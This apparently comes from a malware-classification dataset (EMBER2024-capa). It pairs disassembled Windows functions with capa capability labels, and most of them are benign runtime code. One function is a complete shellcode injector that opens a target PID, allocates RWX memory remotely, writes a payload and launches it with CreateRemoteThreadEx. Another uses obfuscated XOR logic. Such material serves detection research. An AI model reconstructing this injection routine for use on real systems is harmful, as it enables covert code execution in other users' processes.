joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007770
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rdi
mov eax, 0x1020
push rsi
push rbx
call fcn.14000dfc0
sub rsp, rax
mov rdi, r8
mov rsi, rdx
lea rdx, [0x14001352c]
call fcn.140003760
mov rdx, rdi
mov rcx, rsi
mov rbx, rax
call fcn.140007650
mov rdi, rax
test rbx, rbx
je 0x140007869
test rax, rax
je 0x14000785c
lea rsi, [rsp + 0x20]
nop word [rax + rax]
mov rcx, rbx
call sub.ucrtbase.dll_feof
test eax, eax
jne 0x140007858
mov r8d, 0x1000
mov r9, rbx
mov edx, 1
mov rcx, rsi
call sub.ucrtbase.dll_fread
mov r8, rax
test rax, rax
jne 0x140007808
mov rcx, rbx
call sub.ucrtbase.dll_ferror
test eax, eax
je 0x1400077c0
mov rcx, rbx
call sub.ucrtbase.dll_clearerr
jmp 0x140007831
mov r9, rdi
mov edx, 1
mov rcx, rsi
call sub.ucrtbase.dll_fwrite
test rax, rax
je 0x140007829
mov rcx, rdi
call sub.ucrtbase.dll_ferror
test eax, eax
je 0x1400077c0
mov rcx, rdi
call sub.ucrtbase.dll_clearerr
mov esi, 0xffffffff
mov rcx, rbx
call sub.ucrtbase.dll_fclose
mov rcx, rdi
call sub.ucrtbase.dll_fclose
mov eax, esi
add rsp, 0x1020
pop rbx
pop rsi
pop rdi
ret
xor esi, esi
jmp 0x140007836
test rbx, rbx
je 0x140007869
mov rcx, rbx
call sub.ucrtbase.dll_fclose
test rdi, rdi
je 0x140007876
mov rcx, rdi
call sub.ucrtbase.dll_fclose
mov esi, 0xffffffff
jmp 0x140007846
Function at 0x1400078f0
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push r12
mov eax, 0x2110
push rbp
push rdi
push rsi
push rbx
call fcn.14000dfc0
sub rsp, rax
mov r8d, 0x1000
xor ebx, ebx
lea rsi, [rsp + 0x110]
mov rdx, rcx
lea rbp, [rsp + 0xa0]
mov dword [rsp + 0x5c], 0
mov rcx, rsi
call fcn.1400081f0
mov edx, 1
lea rcx, [0x140006db0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov rcx, rbp
mov dword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
pxor xmm0, xmm0
mov eax, 1
xor ecx, ecx
movups xmmword [rsp + 0xa8], xmm0
mov r12, qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xdc], 0x101
mov word [rsp + 0xe0], ax
call r12
mov rcx, rax
call sub.ucrtbase.dll__fileno
mov rdi, qword [sym.imp.ucrtbase.dll__get_osfhandle]
mov ecx, eax
call rdi
mov ecx, 1
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf0], rax
call r12
mov rcx, rax
call sub.ucrtbase.dll__fileno
mov ecx, eax
call rdi
mov ecx, 2
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0xf8], rax
call r12
mov rcx, rax
call sub.ucrtbase.dll__fileno
mov ecx, eax
call rdi
cmp rax, 0xffffffffffffffff
cmove rax, rbx
mov qword [rsp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
mov qword [rsp + 0x40], rbp
mov rcx, rsi
mov rdx, rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], 0
lea r8, [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140007a98
mov rcx, qword [rsp + 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [rsp + 0x5c]
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rdx, str.Error_creating_child_process__n
lea rcx, str.CreateProcessW
call fcn.140002630
mov eax, 0xffffffff
add rsp, 0x2110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140007c80
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r12, rcx
mov ecx, 0x2000
mov rbp, rdx
mov rdi, r8
call sub.ucrtbase.dll_malloc
mov rsi, rax
test rax, rax
je 0x140007d70
xor edx, edx
mov r8d, 2
mov rcx, r12
call sub.ucrtbase.dll_fseek
test eax, eax
js 0x140007d70
mov rcx, r12
call sub.ucrtbase.dll_ftell
movsxd rbx, eax
cmp rbx, rdi
jb 0x140007d70
mov r15d, 1
sub r15, rdi
mov qword [rsp + 0x28], r15
mov r13d, 0x2000
cmp rbx, r13
cmovae r13, rbx
lea r14, [r13 - 0x2000]
sub rbx, r14
cmp rbx, rdi
jb 0x140007d70
xor r8d, r8d
mov edx, r14d
mov rcx, r12
call sub.ucrtbase.dll_fseek
test eax, eax
js 0x140007d70
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, rsi
call sub.ucrtbase.dll_fread
cmp rax, rbx
jne 0x140007d70
mov rdx, qword [rsp + 0x28]
lea rbx, [rdx + rax]
jmp 0x140007d5a
lea r15, [rbx - 1]
mov r8, rdi
mov rdx, rbp
lea rcx, [rsi + r15]
call sub.ucrtbase.dll_memcmp
test eax, eax
je 0x140007d90
mov rbx, r15
test rbx, rbx
jne 0x140007d40
lea rbx, [r14 + rdi - 1]
test r14, r14
jne 0x140007ce9
nop dword [rax]
xor ebx, ebx
mov rcx, rsi
call sub.ucrtbase.dll_free
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [r13 + rbx - 0x2001]
jmp 0x140007d72
Function at 0x140008370
Capabilities:
Create directory

Disassembly:
push r13
mov eax, 0x2068
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000dfc0
sub rsp, rax
mov rsi, rcx
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x40], 0xffffffffffffffff
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140008468
xor ebx, ebx
lea rdi, [rsp + 0x60]
mov rcx, rbx
call sub.ucrtbase.dll_free
mov rcx, qword [rsp + 0x40]
cmp rcx, 0xffffffffffffffff
je 0x1400083e6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
lea r9, str.S_1_3_4
mov edx, 0x1000
mov rcx, rdi
lea r8, str.D:_A__FA____s_
test rbx, rbx
cmovne r9, rbx
call fcn.140007df0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor r9d, r9d
lea r8, [rsp + 0x48]
mov rcx, rdi
mov dword [rsp + 0x40], 0x18
mov edx, 1
mov dword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1400084f0
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
sbb eax, eax
add rsp, 0x2068
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea r12, [rsp + 0x3c]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r12
mov rdi, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, 1
call rdi
test eax, eax
jne 0x14000849e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400083c6
mov edx, dword [rsp + 0x3c]
mov ecx, 1
mov r13, rdx
call sub.ucrtbase.dll_calloc
mov rcx, qword [rsp + 0x40]
mov rbx, rax
test rax, rax
je 0x1400083c6
mov qword [rsp + 0x20], r12
mov r9d, r13d
mov r8, rax
mov edx, 1
call rdi
lea rdi, [rsp + 0x60]
test eax, eax
je 0x1400083cd
mov rcx, qword [rbx]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
jmp 0x1400083cd
mov eax, 0xffffffff
jmp 0x140008455

Function at 0x140008b40
Capabilities:
Hash data with crc32

Disassembly:
push rbx
mov r10d, 0x80000000
test ecx, ecx
je 0x140008bb4
mov r11d, 3
lea rbx, [0x1400137e0]
jmp 0x140008b68
add r11d, 1
sar ecx, 1
je 0x140008bb4
test cl, 1
je 0x140008b60
mov eax, r11d
mov edx, r10d
mov r8d, 0x80000000
xor r10d, r10d
and eax, 0x1f
mov r9d, dword [rbx + rax*4]
jmp 0x140008b9b
mov eax, edx
shr edx, 1
and eax, 1
shr r8d, 1
neg eax
and eax, 0xedb88320
xor edx, eax
test r9d, r8d
je 0x140008b88
lea eax, [r8 - 1]
xor r10d, edx
test eax, r9d
jne 0x140008b88
add r11d, 1
sar ecx, 1
jne 0x140008b68
mov eax, r10d
pop rbx
ret
Function at 0x14000cca0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.ucrtbase.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14000ed50
call sub.ucrtbase.dll_abort
nop

Function at 0x14000d972
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14001d448]
test eax, eax
je 0x14000da0a
lea rax, [0x14001d420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14001d450]
mov qword [rbp - 8], rax
jmp 0x14000d9ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000d9e2
cmp qword [rbp - 0x10], 0
je 0x14000d9e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000d9a8
lea rax, [0x14001d420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000da0b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000db10
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000db38
mov eax, 0
jmp 0x14000db86
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000db61
mov eax, 0
jmp 0x14000db86
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14000db81
mov eax, 0
jmp 0x14000db86
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000db8c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000dc0a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14000dc01
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14000dc01
mov rax, qword [rbp - 8]
jmp 0x14000dc1f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14000dbd4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14001bf40
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
mov r9d, dword [0x1400a846c]
mov ecx, dword [0x1400a8468]
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg cl
mov edx, 1
sub edx, r9d
imul edx, r9d
test dl, 1
sete dl
or cl, dl
cmp r8b, cl
je 0x14001bfee
xor r8b, dl
jne 0x14001bfee
cmp dword [0x1400a8464], 0xa
mov ecx, dword [0x1400a8460]
setl r8b
mov edx, 1
sub edx, ecx
imul edx, ecx
test dl, 1
sete cl
or cl, r8b
nop
test cl, cl
je 0x14001bfa0
xorps xmm0, xmm0
nop word [rax + rax]
movups xmmword [rax], xmm0
mov r8d, dword [0x1400a845c]
mov edx, dword [0x1400a8458]
cmp edx, 9
setg cl
cmp edx, 0xa
setl r9b
mov edx, 0x5c5458d7
sub edx, r8d
imul edx, r8d
and dl, 1
mov r8d, edx
and r8b, r9b
or cl, dl
xor cl, r8b
or dl, r9b
cmp dl, cl
je 0x14001bfb0
cmp dword [0x1400a8464], 0xa
mov ecx, dword [0x1400a8460]
setl r8b
mov edx, 1
sub edx, ecx
imul edx, ecx
test dl, 1
sete cl
or cl, r8b
nop word cs:[rax + rax]
nop dword [rax]
test cl, cl
je 0x14001c020
xorps xmm0, xmm0
nop word [rax + rax]
movups xmmword [rax], xmm0
mov r8d, dword [0x1400a845c]
mov edx, dword [0x1400a8458]
cmp edx, 9
setg cl
cmp edx, 0xa
setl r9b
mov edx, 0x5c5458d7
sub edx, r8d
imul edx, r8d
and dl, 1
mov r8d, edx
and r8b, r9b
or cl, dl
xor cl, r8b
or dl, r9b
cmp dl, cl
je 0x14001c030
cmp dword [0x1400a8454], 0xa
jl 0x14001c0a9
mov r8d, dword [0x1400a8450]
mov ecx, r8d
or ecx, 0xcff6cdee
add ecx, 0x60126424
mov edx, ecx
not edx
add edx, r8d
add ecx, edx
add ecx, 0x30093214
imul ecx, r8d
and ecx, 1
jne 0x14001bf7b
ret

Function at 0x140048268
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140048094
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x1400137f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b60
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b73
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014b9d
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014bb1
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014bc3
xor al, al
jmp 0x140014be1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014bdf
xor al, al
jmp 0x140014be1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400044d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400044e0]
mov dword [rax], 1
mov rax, qword [0x1400044f0]
mov dword [rax], 1
mov rax, qword [0x140004460]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400044c0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400045a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004580]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004440]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004520]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140004530]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140004490]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004510]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x1400044a0]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004530]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140004550]
mov rcx, qword [0x140004540]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004570]
mov rcx, qword [0x140004560]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
cmp dword [rbp + 0x10], 2
je 0x140001483
lea rax, str.usage:_._shellcodeInject__PID_
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x14000161d
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov edx, eax
lea rax, str.PID:__ld_n
mov rcx, rax
call dbg.printf
mov eax, dword [rbp - 4]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x140007030], rax
mov rax, qword [0x140007030]
test rax, rax
jne 0x1400014fd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_getting_process_handle___code:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x14000161d
mov rax, qword [0x140007030]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x232
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x140007040], rax
mov eax, dword [rbp - 4]
mov r8d, eax
mov edx, 0x232
lea rax, str.allocated__zu_bytes_into_process:__ld_n
mov rcx, rax
call dbg.printf
mov rdx, qword [0x140007040]
mov rax, qword [0x140007030]
mov qword [rsp + 0x20], 0
mov r9d, 0x232
lea r8, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
lea rax, str.Wrote_payload_into_memory
mov rcx, rax
call dbg.printf
mov rax, qword [0x140007040]
mov rcx, rax
mov rax, qword [0x140007030]
lea rdx, [rbp - 8]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x140007038], rax
mov eax, dword [rbp - 8]
mov edx, eax
lea rax, str.Executed_payload_in_thread_ID:__ld_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x140007030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x140007038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x1400018f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070b4]
mov rbx, rcx
test esi, esi
jle 0x140001a90
mov rax, qword [0x1400070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001990
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ab2
mov rax, qword [0x1400070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a40
add dword [0x1400070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019b8
mov rax, qword [0x1400070b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002040
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007100]
test rbx, rbx
je 0x14000209c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002093
test eax, eax
jne 0x140002093
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002078
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400022c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400022d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret